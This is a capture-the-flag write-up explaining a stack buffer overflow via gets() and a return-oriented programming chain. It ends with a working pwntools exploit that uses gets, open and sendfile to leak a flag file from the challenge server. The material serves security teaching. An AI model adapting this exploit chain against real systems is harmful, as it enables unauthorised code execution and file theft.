Background

Return-Oriented Programming (ROP) [8] is an exploitation technique that allows an attacker to execute arbitrary code in the presence of security mechanisms such as non-executable memory (`NX`) [7]. ROP relies on chaining together small sequences of instructions, called *gadgets*, that already exist in the program's memory (typically within libraries or the binary itself) and end with a `ret` instruction. These gadgets are used to build a payload that can perform complex operations, such as system calls.

A common class of vulnerabilities that enables ROP attacks is the buffer overflow, particularly stack-based buffer overflows [9]. These occur when a program writes more data to a buffer located on the stack than it was intended to hold. If the program does not properly validate the length of input data (e.g., using `gets()` [3]), it may overwrite the return address of the current function and hijack control flow.

The use of unsafe functions like `gets()`, which reads input without bounds checking is known to be a serious security flaw. Modern secure coding standards strongly discourage or ban such functions in favor of safer alternatives like `fgets()` [1] [1].

To mitigate buffer overflows and ROP attacks, modern systems implement several defenses, including stack canaries [5], address space layout randomization (ASLR) [4], non-executable stack [7], and control-flow integrity (CFI) [6]. However, if some of these protections are absent or bypassed, an attacker can still craft a working exploit.

Vulnerability

The binary is affected by a classic stack-based buffer overflow vulnerability due to the use of the unsafe `gets()` function. In the main function:

```c
char input[64];
gets(input);
```

The buffer `input` is only 64 bytes long, but `gets()` reads input until a newline is encountered, without checking if the buffer limit has been exceeded. This allows an attacker to overwrite the saved return address on the stack by inputting more than 64 bytes.

There are no stack canaries or other mitigation techniques present, and since the binary has `NX` enabled but allows code reuse, it is vulnerable to a ROP attack. By controlling the return address, the attacker can execute a carefully constructed ROP chain to perform arbitrary system calls, such as opening and reading a file.

Solution

The solution involves crafting a ROP chain to:

- Read a filename from the user and store it in the writeable `.bss` section, found with `readelf -S bin`.
- Perform the `open` system call to get a file descriptor.
- Use the `sendfile` syscall to send the file contents to `stdout`.

In order to achieve this, the following steps are needed:

- Calculate the buffer overflow offset (72 bytes).

[1] Unfortunately I have to cite CMU even tho I would prefer not to after the eCTF's smackdown

- Use ROP gadgets like `pop rdi`, `pop rsi`, etc. to control registers and system calls. These gadgets can found with `ropper -f bin` [2]
- Invoke `gets()` to store `"flag.txt\x00"` in writable memory, since `gets` address is found within the binary.
- Perform the `open` syscall with the correct arguments.
- Perform the `sendfile` syscall to dump the file content.

The exploit found in 1 uses the addresses of each gadget found thanks to `ropper`. The use of `gets()` in the binary is central to the vulnerability.

```python
from pwn import remote, p64

open_syscall = p64(0x40119f)
sendfile_syscall = p64(0x4011a9)
gets_plt = p64(0x401040)

pop_rdi = p64(0x401196)
pop_rsi = p64(0x401198)
pop_rdx = p64(0x40119a)
syscall = p64(0x4011a6)

pop_rbp = p64(0x40111d)
pop_r10 = p64(0x40119c)

bss_mem = p64(0x404020)

offset = 72
payload = b"A" * offset

payload += pop_rdi + bss_mem     # *buf
payload += gets_plt              # gets()

# open
payload += pop_rdi + bss_mem     # pathname
payload += pop_rsi + p64(0)      # flags
payload += pop_rdx + p64(0)      # mode
payload += open_syscall          # open()


# sendfile
payload += pop_rdi + p64(1)      # out_fd
payload += pop_rsi + p64(3)      # in_fd
payload += pop_rdx + p64(0)      # offset
payload += pop_r10 + p64(100)    # count
payload += sendfile_syscall      # sendfile()


p = remote("cyberchallenge.disi.unitn.it", 50330)
p.sendline(payload)
p.sendline(b'flag.txt\x00')
print(p.recvall().decode(errors="ignore"))
```

Listing 1: Solution code

References

[1] CMU. CERT Secure Coding. https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard.

[2] github.com/sashs. Ropper. https://github.com/sashs/Ropper.

[3] Man. Gets. https://www.man7.org/linux/man-pages/man3/gets.3.html.

[4] Wikipedia. Address Space Layout Randomization. https://en.wikipedia.org/wiki/Address_space_layout_randomization.

[5] Wikipedia. Canaries. https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries.

[6] Wikipedia. Control-flow Integrity. https://en.wikipedia.org/wiki/Control-flow_integrity.

[7] Wikipedia. Executable space protection. https://en.wikipedia.org/wiki/Executable-space_protection.

[8] Wikipedia. Return Oriented Programming. https://en.wikipedia.org/wiki/Return-oriented_programming.

[9] Wikipedia. Stack Buffer Overflow. https://en.wikipedia.org/wiki/Stack_buffer_overflow.